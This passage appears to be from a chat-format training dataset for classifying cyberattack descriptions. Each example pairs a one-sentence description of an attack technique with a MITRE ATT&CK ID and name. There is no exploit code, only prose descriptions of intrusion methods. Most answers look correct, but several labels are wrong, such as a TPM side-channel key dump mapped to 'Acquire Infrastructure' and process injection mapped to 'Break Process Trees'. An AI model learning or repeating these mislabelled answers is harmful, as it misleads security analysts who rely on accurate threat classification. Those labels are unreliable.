                "role": "user",
                "content": "An attacker retrieves a keylogger binary from a malicious website to augment their credential harvesting capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a server misconfiguration, the attacker was able to replace the site's logo with a defacement graphic."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses a compromised admin account to change the site's CSS, adding protest symbols to every page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deletes droplets on DigitalOcean after exfiltrating data to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using malware for data exfiltration and ransom demands"
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker embeds a clear‑text service account password in the registry path HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Security\\Providers."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends HTTP GET requests to the cloud storage endpoint to retrieve object listings."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the threat actor uses the Windows command \"dir /s\" to recursively enumerate the directory structure on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script installs a browser extension that routes all web requests through an attacker‑controlled proxy, facilitating data collection."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script searches for Outlook cache files in the AppData directory and compresses them for upload."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilizes the cloud platform's direct SSH access capability to log into a victim's virtual machine directly from the internet."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker appends a payload to the .zshrc of the compromised account to run a script on shell startup."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised script registers a launch daemon to start a keylogger each time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reviews the victim’s public procurement notices and vendor contracts to understand the flow and tempo of business operations."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistence module in the malware suite creates a hidden local account for scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During persistence setup, the malware modifies the PATH environment variable to include a directory containing a trojaned executable, intercepting calls to system binaries."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts user password hashes by reading /etc/shadow and obtains user account information from /etc/passwd."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware captures NTLM challenge-response data and reuses it to gain unauthorized access to network resources."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs DNS lookups for dynamically generated domain names to resolve the IP of the next stage payload."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software overwrites the pam.d/system-auth file, inserting a module that creates a hidden user with admin rights."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites the system's NetProvider.dll to capture and change user credentials during network logins."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker rents a short-term cloud instance to perform quick scanning of target IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited msiexec's ability to execute custom actions, running a malicious PowerShell payload via the /i and /quiet options."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors communicate with their C2 infrastructure using custom DNS over HTTPS requests to a compromised web service."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential extraction is performed by dumping the TPM's sealed keys via a side-channel attack."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses reflective DLL injection combined with process hollowing to run malicious code under the guise of a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages a zero‑day in nginx to gain remote code execution and plant backdoors on the host."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a compromised Kubernetes pod that contains a backdoor, allowing persistence on the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses DLL side‑loading by placing a malicious DLL named mstscax.dll alongside the legitimate one, causing the Remote Desktop client to load the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is dropped and then scheduled with 'at' to run once the system restarts."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised a legitimate certificate authority to acquire a code signing certificate, which was then used to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed Mavinject to embed a backdoor into the Windows Explorer process (explorer.exe), allowing the malware to execute with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor launches a SYN flood that saturates the target's network interface, leading to OS-level resource depletion and rendering the endpoint unusable."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used the Windows API NetServerEnum to retrieve a list of remote systems on the LAN."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the malicious payload was delivered as a .txt file that, when opened, executed a hidden .dll, effectively masquerading its true type."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script calls 'Get-Process' in PowerShell to enumerate all processes for discovery."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code iterates through the Windows Credential Manager to steal saved web passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a service masquerading as \"Windows Audio Endpoint Builder\" to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware starts with a simple ICMP echo request channel for beaconing, later upgrading to a TLS-encrypted HTTP channel for larger data transfers."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uses a hidden USB cable to transfer data from the corporate network to an external hard drive without detection."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a backdoor, the attacker pulls both /etc/passwd and /etc/shadow files to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors drop a trojan into C:\\Program Files\\Common Files\\UnquotedFolder\\malware.exe, relying on the OS's unquoted path handling to run it inadvertently."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit calls the EnumDisplayDevices API to enumerate display drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JPEG is posted on a popular forum; victims who view the image in a vulnerable browser plugin are prompted to run a hidden PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new privileged account on the Active Directory domain controller and configures it for pass-the-hash attacks."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group employed a custom DLL loaded into LSASS to retrieve stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulated the VMware Cloud on AWS environment to generate a snapshot of a virtual machine's datastore."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses timestomping to alter file timestamps, making forensic analysis harder."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the Gmail API using OAuth tokens obtained from the user to download all email messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable update mechanism, the threat actor forces the operating system to install a legacy security patch that disables modern exploit mitigations."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the implant drops 'malservice.exe' and registers it as a Windows service via the CreateService API."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder abuses a vulnerable SaaS application to generate a hidden cloud user account with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries collect address data from the company's website footer and corroborate it with satellite imagery to verify the premises."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds a rule to the Linux iptables to ACCEPT all incoming connections, rendering the firewall ineffective."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed the company’s SharePoint site and downloaded Excel files containing employee usernames and password hashes."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a script disguised as a PDF, which is then compiled on the victim's machine into a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is inserted into a common template file used by many employees, leading to execution on each machine that processes the template."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code triggers a Windows API call to ExitWindowsEx with the EWX_REBOOT flag, causing an immediate restart of the OS."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the system's security policy database to suppress Gatekeeper warnings for ransomware."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macro includes anti-debugging techniques that monitor the PEB for a debugger flag."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using GPP, the threat group embedded credentials in unattended install files, exposing them to local users."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After intercepting HTTP traffic, the attacker extracted the session token from the cookie header and replayed it to gain unauthorized access to the web application."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker calls a target, alleges suspicious activity on their account, and convinces them to verbally disclose two‑factor authentication codes."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware payload encrypts databases and deletes backup copies to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining root on a Linux host, the attacker reads the /.ssh/authorized_keys file to extract embedded tokens used for automated login."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a fake support portal that mimics a known vendor to trick users into downloading tools."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell cmdlet Get-GPO –All to enumerate all Group Policy Objects in the Active Directory environment."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code enumerates mail folders via MAPI and copies all messages to a staging directory."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan disguises its payload by embedding it within a common file type, such as a JPEG, to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses process injection to embed malicious code within a trusted process, then executes further commands as child processes."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a reflective loader to inject code that changes the behavior of a security tool by modifying its runtime data."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group downloaded and ran an exploit kit targeting outdated Java installations, enabling them to install a backdoor and elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary configures multiple fallback channels, like HTTP GET requests to innocuous websites, to stealthily maintain command and control."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place a malicious DLL on removable media that is automatically loaded by a vulnerable application on the target system."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the network logon script, the threat actor creates a hidden admin share on each compromised host."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group conducts SEO attacks by spawning spammy sites optimized for trending topics, which then serve malicious scripts to visitors."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
